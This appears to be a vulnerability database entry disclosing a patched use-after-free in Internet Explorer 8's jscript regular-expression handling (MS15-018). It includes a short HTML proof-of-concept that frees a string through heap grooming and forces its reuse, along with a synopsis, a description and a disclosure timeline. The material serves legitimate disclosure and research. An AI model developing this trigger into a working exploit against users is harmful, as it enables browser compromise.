Microsoft Internet Explorer 8 - jscript 'RegExpBase::FBadHeader' Use-After-Free (MS15-018)

🗓️ 21 Nov 2016 00:00:00Reported by SkylinedType

Microsoft Internet Explorer 8 - jscript 'RegExpBase::FBadHeader' Use-After-Free (MS15-018) vulnerability in regular expression pattern recompilin

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Source: http://blog.skylined.nl/20161116001.html

Synopsis

A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.

Known affected software, attack vectors and mitigations

Microsoft Internet Explorer 8

An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
-->

<!DOCTYPE html>
<html>
  <script>
    // This PoC attempts to exploit a use-after-free bug in Microsoft Internet
    // Explorer 8.
    // See http://blog.skylined.nl/20161116001.html for details.
    var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
    "A".replace(r, function (){
      // Force OLEAUT32 to free the string
      for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
      // Reuse the freed memory
      r.compile();
    });
    // This work by SkyLined is licensed under a Creative Commons
    // Attribution-Non-Commercial 4.0 International License. 
  </script>
</html>

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Description

Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.

Exploit

Exploitation was not investigated.

Time-line

March 2015: This vulnerability was found through fuzzing.
March 2015: This vulnerability was submitted to ZDI.
April 2015: This vulnerability was acquired by ZDI.
October 2015: Microsoft addressed this issue in MS15-018.
November 2016: Details of this issue are released.
-->

21 Nov 2016 00:00Current

7.4High risk

Vulners AI Score7.4

Microsoft Internet Explorer 8 - jscript &#039;Reg­Exp­Base::FBad­Header&#039; Use-After-Free (MS15-018)

Microsoft Internet Explorer 8 - jscript 'RegExpBase::FBadHeader' Use-After-Free (MS15-018)